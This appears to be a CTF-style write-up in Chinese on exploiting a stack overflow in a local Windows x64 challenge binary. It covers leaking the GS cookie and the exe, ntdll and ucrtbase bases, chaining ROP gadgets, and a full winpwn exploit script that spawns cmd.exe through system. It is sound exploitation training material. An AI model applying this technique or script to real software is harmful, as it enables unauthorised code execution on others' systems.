保护检查
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| Results for: .\StackOverflow.exe Dynamic Base : "Present" ASLR : "Present" High Entropy VA : "Present" Force Integrity : "NotPresent" Isolation : "Present" NX : "Present" SEH : "Present" CFG : "NotPresent" RFG : "NotPresent" SafeSEH : "NotApplicable" GS : "Present" Authenticode : "NotPresent" .NET : "NotPresent"
|
程序分析
一个朴实无华的栈溢出

但是由于开启了 GS 保护,所以我们需要首先进行泄露
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| .text:0000000140001000 ; __unwind { // __GSHandlerCheck .text:0000000140001000 push rbx .text:0000000140001002 sub rsp, 130h .text:0000000140001009 mov rax, cs:__security_cookie .text:0000000140001010 xor rax, rsp .text:0000000140001013 mov [rsp+138h+var_18], rax
[...]
.text:00000001400010B2 mov rcx, [rsp+138h+var_18] .text:00000001400010BA xor rcx, rsp ; StackCookie .text:00000001400010BD call __security_check_cookie .text:00000001400010C2 add rsp, 130h .text:00000001400010C9 pop rbx .text:00000001400010CA retn
|
通过填充 a ,这样在 puts 的时候便会把 StackCookie 给弄出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| from winpwn import * context.log_level = "debug"
def rc(num): return r.recv(num)
def ru(prefix,drop = True): data = r.recvuntil(prefix) if drop: return data[:-len(prefix)] else: return data def sd(content): r.send(content)
def sl(content): r.sendline(content)
def sda(prefix,content): ru(prefix) sd(content)
def sla(prefix,content): ru(prefix) sl(content)
r = process("./StackOverflow.exe")
payload = "a" * 0x100
sda("input:\r\n",payload) ru(payload) StackCookie = u64(ru("\r\n").ljust(8,u"\x00")) print(f"[+] StackCookie : {hex(StackCookie)}")
windbgx.attach(r)
r.interactive()
|

经过调试可以发现正确

同时也可以发现后方放着返回地址

那么我们可以继续填充泄露原本的返回地址,进而得到 exe 文件的基地址,然后第三次机会再返回到 main ,实施更多次的栈溢出攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| from winpwn import * context.log_level = "debug"
def rc(num): return r.recv(num)
def ru(prefix,drop = True): data = r.recvuntil(prefix) if drop: return data[:-len(prefix)] else: return data def sd(content): r.send(content)
def sl(content): r.sendline(content)
def sda(prefix,content): ru(prefix) sd(content)
def sla(prefix,content): ru(prefix) sl(content)
r = process("./StackOverflow.exe")
payload = "a" * 0x100 sda("input:\r\n",payload) ru(payload) StackCookie = u64(ru("\r\n").ljust(8,u"\x00")) print(f"[+] StackCookie : {hex(StackCookie)}")
payload = "a" * 0x118 sda("input:\r\n",payload) ru(payload) elf_base = u64(ru("\r\n").ljust(8,u"\x00")) - 0x12F4 print(f"[+] elf_base : {hex(elf_base)}")
main_addr = elf_base + 0x1000 print(f"[+] main_addr : {hex(main_addr)}")
payload = "a" * 0x100 payload += p64(StackCookie) payload += "b" * 0x10 payload += p64(main_addr) sda("input:\r\n",payload)
r.interactive()
|
接下来我们要进行的是 rop 。Linux执行 rop,有两个关键点合适的 gadget 和准确的库函数地址,这两点在 Linux下都可以通过 glibc来泄露寻找。但是对于 windows则需要分开寻找。
ntdll.dll是Windows系统从ring3到ring0的入口。位于Kernel32.dll和user32.dll中的所有win32 API 最终都是调用ntdll.dll中的函数实现的。ntdll.dll中的函数使用SYSENTRY进入ring0,函数的实现实体在 ring0 中。所以如果这个函数是每个程序启动基本都会调用的,可以考虑从中寻找我们需要的 gadget。
然后是寻找库函数地址, ucrtbased.dll 这个库是 VC 程序执行必须要有的库,里面放入了很多 VC 程序的 API 调用接口,类似于 Glibc.so。所以可以考虑从 ucrtbased.dll寻找需要调用的 函数地址。
但是,windows 的传参方式和函数调用都与 Linux 有一些差别。
Windows64位下 参数也通过寄存器传递,依次通过 rcx\ rdx\ r8\ r9。其次函数调用 也不能直接指向 函数实现的入口地址,又因为 windows下没有 plt表,所以调用程序内的函数,要指向 call func的地址,例如要调用 puts函数,需要使用如下 gadget:
Windows 64 位下 参数也通过寄存器传递,依次通过 rcx\ rdx\ r8\ r9。其次函数调用也不能直接指向函数实现的入口地址,又因为 windows下没有 plt表,所以调用程序内的函数,要指向 call func 的地址,例如要调用 puts函数,需要使用如下 gadget:
1
| .text:00000001400010A6 call cs:puts
|
所以,我们想要实现库函数调用,也不可以直接指向库函数地址,而是要找到此类地址:
1
| .text:00000000000ABBA0 jmp common_system_char_
|
这就需要我们泄露 ntdll.dll 和 ucrtbased.dll 的基址。
在执行 main 函数之前会先调用 ntdll.dll ,所以在 main 函数的栈帧的高位会存储 ntdll.dll 的地址。通过溢出泄露该 ntdll.dll 地址。

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| payload = "a" * 0x100 payload += p64(StackCookie) payload += "b" * 0x10 payload += p64(main_addr) sda("input:\r\n",payload)
payload = "a" * 0x100 sda("input:\r\n",payload) ru(payload) StackCookie1 = u64(ru("\r\n").ljust(8,u"\x00")) print(f"[+] StackCookie1 : {hex(StackCookie1)}")
payload = "a" * 0x180 sda("input:\r\n",payload) ru(payload) ntdll_base = u64(ru("\r\n").ljust(8,u"\x00")) - 0x52651 print(f"[+] ntdll_base : {hex(ntdll_base)}")
|
这里需要注意由于栈变化了所以要再次泄露 StackCookie
然后我们使用 ropper 来寻找 gadgets
1
| ropper --file ./ntdll.dll --nocolor > gadget
|
然后我们通过 p_rcx_r 和 p_rbx_r 来进行 rop ,其中的 puts_addr 选用的是 main 函数中的 puts ,同时通过控制 rbx 来让循环继续

这样也方便直接控制程序流继续进行溢出
但是由于 rsp 的值不对了,所以说我们需要泄露 security_cookie 和栈地址来重新计算 StackCookie ,要不然之后会出错
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| payload = "a" * 0x100 payload += p64(StackCookie1) payload += "b" * 0x10 payload += p64(p_rcx_r) payload += p64(security_cookie_addr) payload += p64(p_rbx_r) payload += p64(2) payload += p64(puts_addr)
sda("input:\r\n",payload) ru(payload) security_cookie = u64(ru("\r\n").ljust(8,u"\x00")) print(f"[+] security_cookie : {hex(security_cookie)}")
ori_rsp_addr = security_cookie ^ StackCookie1 now_rsp_addr = ori_rsp_addr + 0x160 print(f"[+] ori_rsp_addr : {hex(ori_rsp_addr)}")
|
在得到了 ori_rsp_addr 后可以计算出 now_rsp_addr 并进行接下来的 rop ,那么我们继续泄露 ucrtbase.dll 的基址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| read_got = elf_base + 0x2178
payload = "a" * 0x100 payload += p64(now_rsp_addr ^ security_cookie) payload += "b" * 0x10 payload += p64(p_rcx_r) payload += p64(read_got) payload += p64(p_rbx_r) payload += p64(1) payload += p64(puts_addr) sda("input:\r\n",payload)
ru("\r\n") ru("\r\n") ucrtbase_base = u64(ru("\r\n").ljust(8,u"\x00")) - 0x182a0 print(f"[+] ucrtbase_base : {hex(ucrtbase_base)}")
|
最后执行 system("./cmd.exe") 即可
1 2 3 4 5 6 7 8 9 10 11
| system_addr = ucrtbase_base + 0xAE5C0 cmd_addr = ucrtbase_base + 0xD0CB0 now_rsp_addr2 = now_rsp_addr + 0x160
payload = "a" * 0x100 payload += p64(now_rsp_addr2 ^ security_cookie) payload += "b" * 0x10 payload += p64(p_rcx_r) payload += p64(cmd_addr) payload += p64(system_addr) sda("input:\r\n",payload)
|
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129
| from winpwn import * context.log_level = "debug"
def rc(num): return r.recv(num)
def ru(prefix,drop = True): data = r.recvuntil(prefix) if drop: return data[:-len(prefix)] else: return data def sd(content): r.send(content)
def sl(content): r.sendline(content)
def sda(prefix,content): ru(prefix) sd(content)
def sla(prefix,content): ru(prefix) sl(content)
r = process("./StackOverflow.exe")
payload = "a" * 0x100 sda("input:\r\n",payload) ru(payload) StackCookie = u64(ru("\r\n").ljust(8,u"\x00")) print(f"[+] StackCookie : {hex(StackCookie)}")
payload = "a" * 0x118 sda("input:\r\n",payload) ru(payload) elf_base = u64(ru("\r\n").ljust(8,u"\x00")) - 0x12F4 print(f"[+] elf_base : {hex(elf_base)}")
main_addr = elf_base + 0x1000 print(f"[+] main_addr : {hex(main_addr)}")
payload = "a" * 0x100 payload += p64(StackCookie) payload += "b" * 0x10 payload += p64(main_addr) sda("input:\r\n",payload)
payload = "a" * 0x100 sda("input:\r\n",payload) ru(payload) StackCookie1 = u64(ru("\r\n").ljust(8,u"\x00")) print(f"[+] StackCookie1 : {hex(StackCookie1)}")
payload = "a" * 0x180 sda("input:\r\n",payload) ru(payload) ntdll_base = u64(ru("\r\n").ljust(8,u"\x00")) - 0x52651 print(f"[+] ntdll_base : {hex(ntdll_base)}")
puts_addr = elf_base + 0x10a6 security_cookie_addr = elf_base + 0x3008 p_rcx_r = ntdll_base + 0x1a853 p_rbx_r = ntdll_base + 0x137d
payload = "a" * 0x100 payload += p64(StackCookie1) payload += "b" * 0x10 payload += p64(p_rcx_r) payload += p64(security_cookie_addr) payload += p64(p_rbx_r) payload += p64(1) payload += p64(puts_addr)
sda("input:\r\n",payload) ru("\r\n") ru("\r\n") security_cookie = u64(ru("\r\n").ljust(8,u"\x00")) print(f"[+] security_cookie : {hex(security_cookie)}")
ori_rsp_addr = security_cookie ^ StackCookie1 now_rsp_addr = ori_rsp_addr + 0x160 print(f"[+] ori_rsp_addr : {hex(ori_rsp_addr)}") print(f"[+] now_rsp_addr : {hex(now_rsp_addr)}")
read_got = elf_base + 0x2178
payload = "a" * 0x100 payload += p64(now_rsp_addr ^ security_cookie) payload += "b" * 0x10 payload += p64(p_rcx_r) payload += p64(read_got) payload += p64(p_rbx_r) payload += p64(1) payload += p64(puts_addr) sda("input:\r\n",payload)
ru("\r\n") ru("\r\n") ucrtbase_base = u64(ru("\r\n").ljust(8,u"\x00")) - 0x182a0 print(f"[+] ucrtbase_base : {hex(ucrtbase_base)}")
system_addr = ucrtbase_base + 0xAE5C0 cmd_addr = ucrtbase_base + 0xD0CB0 now_rsp_addr2 = now_rsp_addr + 0x160
payload = "a" * 0x100 payload += p64(now_rsp_addr2 ^ security_cookie) payload += "b" * 0x10 payload += p64(p_rcx_r) payload += p64(cmd_addr) payload += p64(system_addr) sda("input:\r\n",payload)
r.interactive()
|